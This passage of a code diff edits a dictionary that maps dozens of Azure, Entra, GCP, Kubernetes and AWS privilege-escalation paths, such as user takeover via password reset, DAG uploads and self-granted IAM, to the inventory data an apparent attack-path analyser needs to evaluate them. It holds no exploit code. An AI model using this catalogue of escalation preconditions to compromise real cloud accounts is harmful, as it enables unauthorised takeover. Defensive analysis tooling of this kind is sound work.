deployment script / pipeline runner identities", + 'ml_compute_assigned_to_source': "Azure: machine learning compute instances personal assignment", + 'credential_stored_in_scope': "Azure: secret holder mapping (never secret values)", + 'azure_appservice_config_code_path': "Azure: exact App Service kind, hosting plan, attached identity and config child scope; Windows and app-settings-only routes need executable package or payload evidence", + 'azure_appservice_kudu_code_path': "Azure: exact App Service kind, hosting plan, running state and source publish/start permissions on that app; SCM network reachability remains conditional", + 'azure_appservice_onedeploy_code_path': "Azure: exact App Service kind, attached identity, extensions/onedeploy permission and running state; custom container package execution needs evidence", + 'azure_appservice_backup_restore_code_path': "Azure: exact App Service restore permission, supported hosting tier and runtime, attached identity, and running state; backup validity, storage access and execution remain conditional", + 'azure_appservice_enable_publishing_credentials_code_path': "Azure: exact app SCM policy child write plus publishing credential read, app kind and running state; policy change, SCM reachability and execution remain conditional", + 'azure_appservice_publishing_credentials_code_path': "Azure: exact App Service publishxml or config/list permission, collected SCM basic auth policy, app kind and running state; SCM reachability and package execution remain conditional", + 'azure_appservice_sitecontainers_code_path': "Azure: exact app SiteContainer child write, Linux SiteContainers runtime mode, attached identity and running state; image run and identity access remain conditional", + 'azure_appservice_siteextensions_code_path': "Azure: exact Windows App Service site extension write, attached identity and running state; package availability and app-content execution remain conditional", + 'azure_appservice_slot_code_path': "Azure: exact deployment slot identity and executable slot-scoped publish, source-control, config or SiteContainer route; runtime and deployment stay conditional", + 'azure_appservice_slot_swap_code_path': "Azure: exact production app identity, inventoried source slot, code-bearing slot route and site-level or same-slot swap action", + 'azure_appservice_sourcecontrol_code_path': "Azure: exact production app sourcecontrols/web write, code app runtime and start availability; deployment remains conditional", + 'azure_arc_entra_admin_ssh_path': "Azure: exact Arc machine and default endpoint rights, configured SSH service and provisioned Entra SSH extension; agent and OS login remain conditional", + 'azure_arc_custom_script_code_path': "Azure: exact Arc identity machine and Custom Script child write, connected agent, enabled full-mode extension manager and compatible allow/block lists", + 'azure_arc_run_command_code_path': "Azure: exact Arc identity machine and Run Command child write, agent v1.33 or later, enabled handler and compatible local allow/block lists", + 'azure_deployment_script_uami_path': "Azure: exact script create/update and assignable UAMI with storage/ACI support rights in the script resource group", + 'azure_appservice_slot_publishing_credentials_code_path': "Azure: exact slot publishxml or config/list permission, collected slot SCM basic auth policy, runtime and running state; SCM reachability and deployment remain conditional", + 'k8s_sa_cloud_binding': "Cloud: IRSA annotations + IAM trust, EKS pod identity associations, GKE WI bindings, AKS FICs", + 'trust_allows_k8s_sa_oidc_subject': "AWS: iam_role trust policies in the cluster's account", + 'gcp_workload_identity_user_granted_to_k8s_sa': "GCP: service_account iamPolicy", + 'azure_fic_matches_k8s_sa': "Azure: user-assigned identity federatedIdentityCredentials", + 'k8s_node_cloud_identity': "Cloud: node instance role / node SA", + 'k8s_node_hosting_privileged_pod_in_namespace': "K8s: pod inventory (spec.containers/initContainers/ephemeralContainers securityContext)", + 'k8s_node_hosting_host_mount_pod_in_namespace': "K8s: pod inventory (spec.volumes hostPath + volumeMounts readOnly/subPath)", + 'k8s_sa_used_by_pod_consuming_configmap': "K8s: pod inventory (configMap volumes, envFrom, configMapKeyRef)", + 'k8s_nodes_mapped_to_cloud_identity': "AWS (related snapshot): eks_access_entry (eks:ListAccessEntries + DescribeAccessEntry {type}) " "of the EKS cluster, fully collected, plus instance facts mapping nodes to their role", - "trust_allows_oidc_subject_wildcard": "AWS: iam_role trust policies in the cluster's account (join with AWS snapshot)", - "kube2iam_namespace_permits_role": "K8s: namespace metadata.annotations (iam.amazonaws.com/permitted)", - "k8s_sa_has_legacy_token_secret": "K8s: secret_metadata {metadata.namespace, type, metadata.annotations[kubernetes.io/service-account.name]}", - "openshift_namespace_has_sa_with_host_scc": "K8s/OpenShift: securitycontextconstraints {users, groups, allowHostPID/Network/DirVolumePlugin, allowPrivilegedContainer}", - "gcp_implicit_delegation_chain": "GCP: service_account iamPolicy + project/folder/org iam_policy (collected)", - "ecr_tag_immutability": "AWS: ecr_repository {repositoryArn, imageTagMutability}", - "pod_security_admission": "K8s: namespace inventory (metadata.labels pod-security.kubernetes.io/enforce) of the namespace the " + 'trust_allows_oidc_subject_wildcard': "AWS: iam_role trust policies in the cluster's account (join with AWS snapshot)", + 'kube2iam_namespace_permits_role': "K8s: namespace metadata.annotations (iam.amazonaws.com/permitted)", + 'k8s_sa_has_legacy_token_secret': "K8s: secret_metadata {metadata.namespace, type, metadata.annotations[kubernetes.io/service-account.name]}", + 'openshift_namespace_has_sa_with_host_scc': "K8s/OpenShift: securitycontextconstraints {users, groups, allowHostPID/Network/DirVolumePlugin, allowPrivilegedContainer}", + 'gcp_implicit_delegation_chain': "GCP: service_account iamPolicy + project/folder/org iam_policy (collected)", + 'ecr_tag_immutability': "AWS: ecr_repository {repositoryArn, imageTagMutability}", + 'pod_security_admission': "K8s: namespace inventory (metadata.labels pod-security.kubernetes.io/enforce) of the namespace the " "workload is created in ({pivot.namespace}, {target.namespace} or every namespace for cluster-wide grants)", - "pivot_namespace_psa_enforce_baseline_or_restricted": "K8s: namespace inventory (metadata.labels " + 'pivot_namespace_psa_enforce_baseline_or_restricted': "K8s: namespace inventory (metadata.labels " "pod-security.kubernetes.io/enforce) of the pivot namespaces", - "admission_policy": "K8s: admission_policy (ValidatingAdmissionPolicy / MutatingAdmissionPolicy and their bindings) " + 'admission_policy': "K8s: admission_policy (ValidatingAdmissionPolicy / MutatingAdmissionPolicy and their bindings) " "plus namespace labels for namespaceSelector matching", - "admission_webhook": "K8s: admission_configuration (ValidatingWebhookConfiguration webhooks[].rules / namespaceSelector / " + 'admission_webhook': "K8s: admission_configuration (ValidatingWebhookConfiguration webhooks[].rules / namespaceSelector / " "failurePolicy) plus namespace labels", - "kyverno_policy": "K8s: api_discovery (kyverno.io / policies.kyverno.io API groups)", - "gatekeeper_constraint": "K8s: api_discovery (templates|constraints|config.gatekeeper.sh API groups)", - "k8s_sa_has_token_secret": "K8s: secret metadata {metadata.namespace, type, metadata.annotations[kubernetes.io/service-account.name]} " + 'kyverno_policy': "K8s: api_discovery (kyverno.io / policies.kyverno.io API groups)", + 'gatekeeper_constraint': "K8s: api_discovery (templates|constraints|config.gatekeeper.sh API groups)", + 'k8s_sa_has_token_secret': "K8s: secret metadata {metadata.namespace, type, metadata.annotations[kubernetes.io/service-account.name]} " "(never data) in a K8s snapshot of the GKE cluster passed as related_snapshots; GCP: gke_cluster", - "k8s_sa_in_cluster": "K8s: serviceaccount inventory of the GKE cluster passed as related_snapshots; GCP: gke_cluster", - "assumable_by_pivot_role": "AWS: iam_role trust policies + the pivot role's identity policies (collected)", - "gcp_workspace_admin_role": "GCP: workspace_user {primaryEmail, isAdmin}, workspace_role {roleId, roleName, isSuperAdminRole}, " + 'k8s_sa_in_cluster': "K8s: serviceaccount inventory of the GKE cluster passed as related_snapshots; GCP: gke_cluster", + 'assumable_by_pivot_role': "AWS: iam_role trust policies + the pivot role's identity policies (collected)", + 'gcp_workspace_admin_role': "GCP: workspace_user {primaryEmail, isAdmin}, workspace_role {roleId, roleName, isSuperAdminRole}, " "workspace_role_assignment {roleId, assignedTo} (Admin SDK Directory API)", - "k8s_sa_absent_but_bound": "K8s: serviceaccount inventory for every namespace (collected)", - "service_plane": "AWS: application-plane inventories in every region: connect_instance (connect:ListInstances), " + 'k8s_sa_absent_but_bound': "K8s: serviceaccount inventory for every namespace (collected)", + 'service_plane': "AWS: application-plane inventories in every region: connect_instance (connect:ListInstances), " "grafana_workspace (grafana:ListWorkspaces), quicksight_user (quicksight:ListUsers), supplychain_instance " "(scn:ListInstances), amplify_app BackendEnvironments (amplify:ListApps + ListBackendEnvironments)", - "k8s_sa_used_by_pending_pod": "K8s: pod inventory {spec.serviceAccountName, spec.nodeName, status.phase}", - "k8s_node_hosting_pod_of_source": "K8s: pod inventory {spec.serviceAccountName, spec.nodeName}", - "k8s_sa_namespace_absent": "K8s: namespace inventory (complete) and bindings / securitycontextconstraint users", - "k8s_sa_named_in_scc_users": "K8s (OpenShift): securitycontextconstraint {metadata.name, users}", - "k8s_secret_holds_cloud_credential": "K8s: secret_metadata {metadata.name, namespace, labels, annotations} (never data)", - "k8s_secret_holds_remote_cluster_credential": "K8s: secret_metadata {metadata.name, namespace, labels} (never data)", - "gcp_group_join_open_to_source": "GCP: group {groupKey.id} with Groups Settings {whoCanJoin, allowExternalMembers} " + 'k8s_sa_used_by_pending_pod': "K8s: pod inventory {spec.serviceAccountName, spec.nodeName, status.phase}", + 'k8s_node_hosting_pod_of_source': "K8s: pod inventory {spec.serviceAccountName, spec.nodeName}", + 'k8s_sa_namespace_absent': "K8s: namespace inventory (complete) and bindings / securitycontextconstraint users", + 'k8s_sa_named_in_scc_users': "K8s (OpenShift): securitycontextconstraint {metadata.name, users}", + 'k8s_secret_holds_cloud_credential': "K8s: secret_metadata {metadata.name, namespace, labels, annotations} (never data)", + 'k8s_secret_holds_remote_cluster_credential': "K8s: secret_metadata {metadata.name, namespace, labels} (never data)", + 'gcp_group_join_open_to_source': "GCP: group {groupKey.id} with Groups Settings {whoCanJoin, allowExternalMembers} " "(groupssettings.googleapis.com groups/{email}; not collected by default)", - "gcp_workspace_super_admin_with_registered_domain": "GCP: domains_registration {name, domainName} " - "(domains.googleapis.com projects/*/locations/*/registrations) + workspace_user isAdmin", - "gcp_image_family_consumer": "GCP: instance_template {properties.disks[].initializeParams.sourceImage, properties.serviceAccounts[].email}", - "eks_access_entry_type": "AWS (related snapshot): eks_access_entry (eks:DescribeAccessEntry {type}) of the EKS cluster", - # Placeholders the models deliberately leave unresolved (the requirement is checked on ANY resource, unknown). - "target.host_resource.content_storage": "Azure/GCP: the host's content storage (Function App AzureWebJobsStorage account, " + 'gcp_workspace_super_admin_with_registered_domain': "GCP: domains_registration {name, domainName, state} " + "(domains.googleapis.com projects/*/locations/*/registrations) + " + "workspace_customer {id, customerDomain} + workspace_user {customerId, isAdmin}", + 'gcp_image_family_consumer': "GCP: instance_template {properties.disks[].initializeParams.sourceImage, properties.serviceAccounts[].email}", + 'eks_access_entry_type': "AWS (related snapshot): eks_access_entry (eks:DescribeAccessEntry {type}) of the EKS cluster", + 'target.host_resource.content_storage': "Azure/GCP: the host's content storage (Function App AzureWebJobsStorage account, " "Composer DAG bucket, or other staging bucket); Composer bucket joins use collected environment metadata", - "target.composer_dag_managed_folder": "GCP: collected managed folder whose prefix intersects a Composer environment's DAG prefix", - "target.dataproc_init_managed_folder": "GCP: collected managed folder containing an exact Dataproc initialization action object", - "target.dataproc_init_object": "GCP: exact Cloud Storage object named by a collected Dataproc initialization action", - "target.cloudbuild_source_object": "GCP: exact unpinned StorageSource archive of a collected non-triggered Cloud Build", - "target.host_resource.workspace": "Azure: the Machine Learning workspace of the compute / endpoint host - not collected", - "graph_app_permission": "Azure: directory_app_role_assignment (servicePrincipals/{id}/appRoleAssignments) incl. resourceId+appRoleId", - "entra_owner_of": "Azure: directory_owner {object_id, object_type, owner_ids}", - "entra_pim_eligible_role": "Azure: directory_role_eligibility_schedule {principalId, roleDefinitionId, directoryScopeId}", - "entra_tenant_setting": "Azure: directory_authorization_policy {allowInvitesFrom, guestUserRoleId}", - "entra_group_member": "Azure: directory_group {id, displayName} + directory_membership (groups/{id}/transitiveMembers)", - "fabric_workspace_role": "Azure/Fabric: fabric_workspace_role_assignment {workspaceId, principal{id,type}, role} " + 'target.composer_dag_managed_folder': "GCP: collected managed folder whose prefix intersects a Composer environment's DAG prefix", + 'target.dataproc_init_managed_folder': "GCP: collected managed folder containing an exact Dataproc initialization action object", + 'target.dataproc_init_object': "GCP: exact Cloud Storage object named by a collected Dataproc initialization action", + 'target.cloudbuild_source_object': "GCP: exact unpinned StorageSource archive of a collected non-triggered Cloud Build", + 'target.host_resource.workspace': "Azure: the Machine Learning workspace of the compute / endpoint host - not collected", + 'graph_app_permission': "Azure: directory_app_role_assignment (servicePrincipals/{id}/appRoleAssignments) incl. resourceId+appRoleId", + 'entra_owner_of': "Azure: directory_owner {object_id, object_type, owner_ids}", + 'entra_pim_eligible_role': "Azure: directory_role_eligibility_schedule {principalId, roleDefinitionId, directoryScopeId}", + 'entra_tenant_setting': "Azure: directory_authorization_policy {allowInvitesFrom, guestUserRoleId}", + 'entra_group_member': "Azure: directory_group {id, displayName} + directory_membership (groups/{id}/transitiveMembers)", + 'fabric_workspace_role': "Azure/Fabric: fabric_workspace_role_assignment {workspaceId, principal{id,type}, role} " "(GET api.fabric.microsoft.com/v1/workspaces/{id}/roleAssignments, scope Workspace.Read.All)", - "fabric_workspace_identity": "Azure/Fabric: fabric_workspace {id, displayName, workspaceIdentity.servicePrincipalId} " + 'fabric_workspace_identity': "Azure/Fabric: fabric_workspace {id, displayName, workspaceIdentity.servicePrincipalId} " "(GET api.fabric.microsoft.com/v1/workspaces/{id})", - "intune_permission": "Azure/Intune: intune_role_assignment {id, members[group ids], scopeMembers, roleDefinition" + 'intune_permission': "Azure/Intune: intune_role_assignment {id, members[group ids], scopeMembers, roleDefinition" "{displayName, rolePermissions[].resourceActions[].allowedResourceActions}} " "(deviceManagement/roleAssignments?$expand=roleDefinition)", - "intune_managed_device_user": "Azure/Intune: intune_managed_device {id, userId, operatingSystem, azureADDeviceId} " + 'intune_managed_device_user': "Azure/Intune: intune_managed_device {id, userId, operatingSystem, azureADDeviceId} " "(deviceManagement/managedDevices)", - "entra_catalog_role": "Azure: entitlement_role_assignment {principalId, roleDefinitionId, roleDefinition.displayName, " + 'entra_catalog_role': "Azure: entitlement_role_assignment {principalId, roleDefinitionId, roleDefinition.displayName, " "appScopeId '/AccessPackageCatalog/' or '/'} (roleManagement/entitlementManagement/roleAssignments)", - "entra_resource_in_catalog": "Azure: entitlement_catalog_resource {catalogId, originId, originSystem} " + 'entra_resource_in_catalog': "Azure: entitlement_catalog_resource {catalogId, originId, originSystem} " "(identityGovernance/entitlementManagement/catalogs/{id}/resources)", - "entra_access_package_auto_assignment_open_to_guest": - "Azure: entitlement_assignment_policy {accessPackageId, allowedTargetScope, automaticRequestSettings." + 'entra_access_package_auto_assignment_open_to_guest': "Azure: entitlement_assignment_policy {accessPackageId, allowedTargetScope, automaticRequestSettings." "requestAccessForAllowedTargets, specificAllowedTargets[].membershipRule} + entitlement_access_package_resource " "{accessPackageId, originId} (accessPackages/{id}/resourceRoleScopes)", - "entra_pim_group_eligible_for_source": "Azure: directory_group_eligibility_schedule {principalId, groupId, accessId, status} " + 'entra_pim_group_eligible_for_source': "Azure: directory_group_eligibility_schedule {principalId, groupId, accessId, status} " "(identityGovernance/privilegedAccess/group/eligibilitySchedules)", - "azure_consumer_of_pivot": "Azure: workload->resource bindings never collected (App Service/Functions Key Vault and App " + 'azure_consumer_of_pivot': "Azure: workload->resource bindings never collected (App Service/Functions Key Vault and App " "Configuration references, AzureWebJobsStorage / WEBSITE_RUN_FROM_PACKAGE / trigger bindings, " "Data Factory / Synapse linked services, Event Grid destinations; never values); RBAC read " "grants on the pivot (collected) give conditional consumers", - "azure_assignable_via_identity_holding": "Azure: role_assignment + role_definition of user-assigned identities (collected)", - "azure_users_assigned_to_pivot": "Azure: role_assignment (Desktop Virtualization User) + directory_membership + " + 'azure_assignable_via_identity_holding': "Azure: role_assignment + role_definition of user-assigned identities (collected)", + 'azure_users_assigned_to_pivot': "Azure: role_assignment (Desktop Virtualization User) + directory_membership + " "Resource Graph applicationGroups (collected)", - "attached_to_vm_joined_to_entra_domain_services": "Azure: vm resources[] extensions (JsonADDomainExtension settings.Name) + " + 'attached_to_vm_joined_to_entra_domain_services': "Azure: vm resources[] extensions (JsonADDomainExtension settings.Name) + " "Resource Graph Microsoft.AAD/domainServices properties.domainName", - "azure_assignment_condition_uses_principal_attribute": "Azure: role_assignment condition (collected)", + 'azure_assignment_condition_uses_principal_attribute': "Azure: role_assignment condition (collected)", + 'gcp_sourcerepo_trigger_path': "Cloud Source repositories, IAM policies and Cloud Build push triggers with pinned service accounts", + 'gcp_workstations_create_config_path': "Cloud Workstations clusters and exact config and workstation creation permissions", + 'gcp_workstations_use_existing_path': "Cloud Workstations configs and workstations, their attached service accounts, state, and exact access permissions", + 'gcp_workstations_create_from_config_path': "Cloud Workstations configs, their service accounts and scopes, and exact create and actAs permissions", + 'gcp_datapipelines_scheduled_template_path': "Data Pipelines, Dataflow, and Scheduler API states; App Engine location; service-agent IAM; and Scheduler and worker service-account IAM", + 'gcp_dataflow_flex_launch_path': "Dataflow API state, project and staging bucket permissions, worker role and storage access, and Dataflow and Compute service-agent IAM", + 'gcp_dataflow_artifact_overwrite_path': "Active Dataflow job and batch pipeline inventory, exact unpinned code object metadata, object and bucket IAM, and worker service-account identity", + 'gcp_datafusion_artifact_poison_path': "Data Fusion instances, CDAP app artifact references, profiles, schedules, namespace IAM, and runner and service-agent permissions", + 'gcp_datafusion_pipeline_path': "Data Fusion instance and namespace IAM, installed pipeline code plugins, profiles, and runner and service-agent permissions", + 'gcp_datafusion_selfgrant_path': "Data Fusion instance and namespace policy-write grants, installed pipeline code plugins, profiles, and runner and service-agent permissions", + 'gcp_dataplex_task_path': "Dataplex lake IAM and state, API enablement, runner permissions, service-agent role, and a writable and readable Cloud Storage payload path", + 'gcp_dataproc_create_path': "Dataproc API and service-agent state, network and subnet inventory, runner permissions, and a writable and readable Cloud Storage script", + 'gcp_dataproc_session_path': "Dataproc and Resource Manager API state, service agents, subnet inventory, exact session and actAs grants, and Worker or Node runtime roles", + 'gcp_dataproc_cluster_selfgrant_path': "Dataproc cluster region and state, exact cluster policy and project job permissions, API state, and writable and readable script storage", + 'gcp_dataproc_gateway_path': "Dataproc cluster gateway and notebook settings, exact cluster get and use grants, VM or mapped account identity, API state, and OAuth scope", + 'gcp_dataproc_job_path': "Exact Dataproc cluster and project permissions, state, API, runnable script, VM or mapped account identity, and OAuth scope", + 'gcp_dataproc_init_replace_path': "Exact Dataproc initialization-action reference and live object metadata, create and delete rights on that object, VM read access, cluster state, identity mode, and OAuth scope", + 'gcp_dataproc_workflow_path': "Workflow create and instantiate rights in one project, target actAs and worker rights, service agent, subnet, API, and writable and readable initialization script", + 'gcp_deploymentmanager_create_path': "Project number, enabled Deployment Manager and Compute APIs, existing deployment, exact agent grants, ready image, usable subnet, and attachable service account", + 'gcp_deploymentmanager_selfgrant_path': "Exact deployment policy, etag, source get and set policy rights, Admin role definition, deny coverage, enabled APIs, and agent downstream VM path", + 'gcp_deploymentmanager_update_path': "Exact listed deployment and fingerprint, source get and update rights, enabled legacy API, project agent, and downstream VM path", + 'gcp_developerconnect_pipeline_path': "Exact Developer Connect link in a Cloud Build push trigger, source write-token or proxy rights, repository build file, approval state, and build identity privilege differential", + 'gcp_composer_dag_upload_path': "Composer environment state and DAG prefix, bucket and managed-folder inventory, and object-create IAM on a new DAG path", + 'gcp_composer_create_with_dag_path': "Composer API state, regional custom-bucket properties and usage, exact DAG object write, target actAs and Composer Worker access", + 'gcp_composer_pypi_update_path': "Composer API state, running environment, exact attached service account, and source update permission on that environment", + 'gcp_vmmigration_metadata_clone_path': "MigratingVm inventory with configured runtime service account and update and clone permissions on the same VM", + 'gcp_composer_storage_policy_path': "Usable Composer environment, its exact DAG bucket or managed folder, and source policy-write permission there", + 'gcp_run_job_create_execute_path': "project-level Cloud Run job create and run permissions and enabled Cloud Run API in the service-account project", + 'gcp_run_service_create_path': "project-level Cloud Run service create permission and enabled Cloud Run API in the service-account project", + 'gcp_run_service_policy_update_path': "exact ready Cloud Run service, collected IAM policy, grantable Developer role, actAs on its pinned account, and clear policy restrictions", + 'gcp_run_worker_pool_policy_update_path': "exact ready Cloud Run worker pool, collected IAM policy, grantable Developer role, actAs on its pinned account, and clear policy restrictions", + 'gcp_artifact_upload_consumer_path': "Exact standard Docker repository, mutable tagged Cloud Run consumer, runtime account, and repository-scoped upload permission", + 'gcp_apigee_proxy_deploy_path': "Apigee organization and environment inventory, exact author and deployment grants, and service-agent token access to the target service account", + 'gcp_apigee_sharedflow_hook_path': "Apigee environment and deployed proxy inventory, exact shared-flow and hook grants, and service-agent token access to the target service account", + 'gcp_cross_project_run_instance': "Cloud Run instance create or exact update path, effective cross-project service-account policy, host project number, and host service-agent token access", + 'k8s_kcc_service_account_key_path': "joined GKE and Kubernetes Config Connector inventory, source namespace RBAC, served IAMServiceAccountKey resource, exact controller rights on the target Google service account, and effective key-creation or key-upload policy", + 'k8s_kcc_project_policy_grant': "joined GKE and Kubernetes Config Connector inventory, source namespace RBAC create or exact existing-policy update, watched namespace identity, ready project reference, and controller get/set IAM rights on the project", + 'gcp_project_iam_sa_token_grant': "active project and enabled service account, complete project and service-account IAM policies, full Token Creator role, prior token access, deny, member restrictions, groups, and PAB evidence", + 'gcp_kcc_project_policy_grant': "joined GKE and Kubernetes inventory of Config Connector mode, watched namespace, identity, served IAM policy resource, exact Project reference or named ready Config Connector Project, project IAM grants, GKE IAM or namespace RBAC write, and cluster API path", + 'gcp_gke_clusterrole_bind': "joined GKE and Kubernetes ClusterRole/ClusterRoleBinding inventory, Google-principal cluster authentication, exact bind and binding-write permissions, and an existing admin binding for update-only paths", + 'gcp_gke_clusterrole_escalate': "joined GKE and Kubernetes ClusterRole/ClusterRoleBinding inventory, Google-principal cluster authentication, and an already-reaching binding to an updatable or creatable ClusterRole", + 'gcp_gke_system_impersonation': "exact running GKE Standard cluster, system impersonation policy, Google-principal cluster authentication, and API endpoint exposure", + 'gcp_gke_node_sa_actas': "enabled service account, exact GKE create or node-pool write permission, cluster authentication, pod creation, usable Standard node metadata, and cross-project service-agent grants where needed", + 'gcp_gke_webhook_ksa_path': "exact running GKE cluster and authentication, create or update authority with existing webhook inventory for update, joined KSA and running-pod evidence, and Autopilot managed-namespace limits", + 'gcp_gke_namespaced_rbac_ksa_path': "exact running GKE cluster and authentication, joined Role/ClusterRole and RoleBinding inventory, namespace-specific bind or escalate rights, and Pod or token creation authority for the target KSA", + 'gcp_gke_node_proxy_sa': "exact GKE node pool and service account, joined labeled Kubernetes Node and running Pod, workload metadata mode or hostNetwork, Google-principal cluster authentication, and kubelet proxy permission", + 'gcp_gke_node_proxy_ksa': "exact running GKE cluster, Google-principal authentication and proxy permission, joined Kubernetes Node and running Pod, and target KSA token availability in the running container", + 'gcp_gke_pod_template_ksa': "exact running GKE cluster, Google-principal authentication, joined target KSA, create permission or update permission with an existing mutable controller in its namespace, and API endpoint exposure", + 'gcp_gke_pod_template_node_sa': "exact GKE Standard cluster and target node-pool service account, joined ready Node and workload inventory, usable node metadata mode, OAuth scopes, Google-principal cluster authentication and exact workload write permission", + 'gcp_gke_pod_exec_node_sa': "exact GKE Standard cluster and node-pool service account, joined labeled Node and running named Pod container, compatible metadata mode, Google-principal authentication and exact pod-exec permission", + 'gcp_gke_pod_exec_ksa': "exact running GKE cluster, joined ServiceAccount and Pod inventories, named running container, mounted API-audience KSA token, Google-principal authentication and exact pod-exec permission", + 'gcp_gke_pod_update_ksa': "exact running GKE cluster, joined ServiceAccount and Pod inventories, named running image-bearing container, mounted API-audience KSA token, Google-principal authentication and exact pod-update permission", + 'gcp_gke_secret_ksa': "exact running GKE cluster, joined ServiceAccount UID and Secret metadata, no legacy-token invalidation label, Google-principal authentication, and Secret list or get with exact name discovery", + 'gcp_gke_token_request_ksa': "exact running GKE cluster, joined existing non-deleting ServiceAccount, Google-principal cluster authentication, TokenRequest creation permission and API endpoint exposure", + 'gcp_gke_nodepool_metadata_downgrade': "exact Standard GKE cluster and GKE_METADATA node pool, attached service account, cluster update permission, Google-principal authentication, joined Node/Pod inventory, and a separate workload creation or execution path", + 'gcp_kcc_generated_key_secret': "joined GKE and Kubernetes Config Connector identity, served service-account-key resource, source custom-resource create through IAM or namespace RBAC with either key read or supplied public key, exact target key-create permission, and separate effective key-creation or key-upload policy", + 'gcp_configdelivery_fleet_target': "joined fleet membership, Config Management feature, matching GKE cluster, Config Delivery permissions on the fleet host project, and the namesake RootSync for existing-package updates", + 'gcp_fleet_config_management_target': "joined fleet membership, exact Feature or MembershipFeature mutation permission, matching GKE cluster, and Config Sync RootSync authority", + 'gcp_fleet_rbac_admin_target': "joined fleet membership, scope membership when relevant, RBACRoleBinding inventory for update, exact create or update permission, admin-equivalent custom ClusterRole, and gateway or direct Kubernetes API access", + 'entra_graph_directory_role_self_grant': "Azure: directory_service_principal.accountEnabled, directory_role_definition.isEnabled, directory_role_assignment and directory_membership", + 'entra_role_assignment_self_grant': "Azure: directory role definitions and assignments, source and target state, group membership, and app-only Graph role-management permission", + 'entra_graph_tap_user_target': "Azure: temporary_access_pass_policy {state,includeTargets,excludeTargets}, directory_user {accountEnabled,creationType,identities}, directory_membership", + 'entra_auth_admin_user_takeover': "Azure: directory_role_assignment scope, AU restrictions, target directory roles and role-assignable group membership or ownership, user origin and TAP policy", + 'entra_helpdesk_password_reset': "Azure: directory role scope, target roles, administrative unit membership, group owners and membership, and target domain authentication", + 'entra_password_admin_reset': "Azure: directory role scope, target roles, administrative unit membership, group owners and membership, and target domain authentication", + 'entra_user_admin_password_reset': "Azure: directory role scope, target roles, administrative unit membership, group owners and membership, domain authentication, and Graph app grants", + 'entra_nonadmin_password_reset': "Azure: directory role scope, target roles, administrative unit membership, group owners and membership, target domain authentication and enabled state", + 'entra_privileged_auth_user_takeover': "Azure: privileged directory role scope, RMAU membership, target role, Graph application grants, domain authentication, and TAP policy", + 'entra_group_new_self_membership': "Azure: directory_group {groupTypes,securityEnabled,mailEnabled}, directory_membership for the target and source, source accountEnabled and Graph app permissions for application sources", + 'entra_group_owner_new_self_membership': "Azure: directory_owner, directory_group {isAssignableToRole,groupTypes,securityEnabled,mailEnabled}, directory_membership, source accountEnabled and Graph app permissions", + 'entra_group_source_not_owner': "Azure: directory_owner ownerIds and per-group inventory status", + 'entra_pim_active_sp_membership': "Azure: directory_service_principal.accountEnabled, directory_group {groupTypes,mailEnabled,securityEnabled}, directory_membership per group", + 'entra_pim_controlled_user_eligibility': "Azure: directory_service_principal.accountEnabled, directory_group {groupTypes,mailEnabled,securityEnabled}, directory_membership per group, and controlled-user chain", + 'azure_devtestlab_artifact_identity': "Azure: Resource Graph or native devtest_lab_vm properties.computeId, exact lab VM ApplyArtifacts action, and backing compute VM identity", + 'azure_function_definition_code_path': "Azure: exact Function App identity host, functions/write RBAC scope, hosting plan and writable deployment mode; execution remains conditional", + 'azure_function_host_vfs_code_path': "Azure: exact Function App identity host, hostruntime/vfs/write RBAC scope, hosting plan and writable deployment mode; execution remains conditional", + 'azure_function_remote_debug_path': "Azure: exact Function App identity host, publishing credential read, config write if needed, Windows hosting plan, SCM basic auth policy and runtime state; debugger attachment remains conditional", + 'azure_arc_guest_configuration_path': "Azure: exact Arc machine guest-configuration assignment write, connected agent when recorded and conditional local execution", + 'gcp_eventarc_oauth_pipeline_path': "GCP: eventarc_message_bus {name, iamPolicy}, eventarc_enrollment " + "{name, messageBus, destination, iamPolicy}, project number, project and service-account " + "IAM, iam_role_builtin roles/eventarc.serviceAgent, and optional service_usage " + "eventarcpublishing.googleapis.com for a newly created bus", + 'k8s_dangling_sa_permission_gain': "K8s: source RBAC, target ServiceAccount binding and referenced role rules", + 'k8s_constrained_impersonation_gain': "K8s: source and target RBAC rules, bindings, and pod name and node placement for node-mode rights", + 'k8s_cluster_admin_role_exists': "K8s: clusterrole inventory and exact cluster-admin role rules", + 'k8s_aggregation_new_role_path': "K8s: clusterrole inventory and the source's exact escalate resourceNames grants", + 'k8s_csr_same_name_path': "K8s: CSR read and approval RBAC rules with resourceNames; CSR object inventory is unavailable", + 'k8s_csr_sa_subject': "K8s: direct ServiceAccount binding subject and resolved Role or ClusterRole rules", + 'k8s_sa_missing_in_host_scc_users': "K8s (OpenShift): complete securitycontextconstraint {metadata.name, users, host-access settings}, serviceaccount and namespace inventories", + 'target.workstation_config': "GCP: exact parent config of a collected workstation using the target service account", + 'target.osconfig_guest_policy': "GCP: exact existing v1beta OS Config guest-policy names from a complete project inventory", + 'target.osconfig_zone': "GCP: zonal OS Config parents for VMs attached to the target service account", + 'target.osconfig_assignment': "GCP: existing zonal OS policy assignments plus a prospective allowMissing name for VMs attached to the target service account", + 'target.osconfig_unknown_assignment': "GCP: unresolved update conditions may name a different valid assignment in the VM zone", + 'target.osconfig_patch_deployment': "GCP: exact existing OS Config patch-deployment names from a complete project inventory", + 'target.osconfig_unknown_patch_deployment': "GCP: unresolved update conditions may name a deployment when project inventory is incomplete", + 'target.osconfig_orchestrator_parent': "GCP: exact project, folder, and organization global orchestrator parents containing the target VM", + 'target.osconfig_orchestrator': "GCP: exact existing orchestrator names at containing parents from complete inventories", + 'target.osconfig_unknown_orchestrator': "GCP: unresolved IAM conditions or incomplete inventories may allow another existing orchestrator", + 'entra_auto_assignment_package_group': "Azure: entitlement_access_package plus each package's resourceRoleScopes with exact group Member role; Microsoft Graph EntitlementManagement.Read.All", + 'azure_logicapp_assign_uami_path': "Azure: exact UAMI resource, resource group or create-RG authority, and workflows/write on one Consumption workflow", + 'azure_logicapp_existing_identity_path': "Azure: exact Resource Graph workflow identity attachment and workflows/write on that workflow", + 'azure_managedapp_listtokens_path': "Azure: exact managed application identity attachment and applications/listTokens/action on that application", + 'azure_uami_fic_write_path': "Azure: exact user-assigned managed identity resource and federated credential child write scope", + 'azure_ml_compute_application_identity_path': "Azure: native ML compute instance assignment, application sharing policy, state and identity, plus exact workspace/read, compute applicationaccess/action and start/action when stopped", + 'azure_ml_compute_create_uami_path': "Azure: existing ML workspace, child computes/write, and exact user-assigned identity assign/action; inline creation script execution conditional", + 'azure_ml_existing_online_deployment_identity_path': "Azure: exact Resource Graph online endpoint identity attachment and compute type, workspace read, endpoint write and child deployment write; container startup conditional", + 'azure_ml_online_endpoint_create_uami_path': "Azure: existing ML workspace, exact 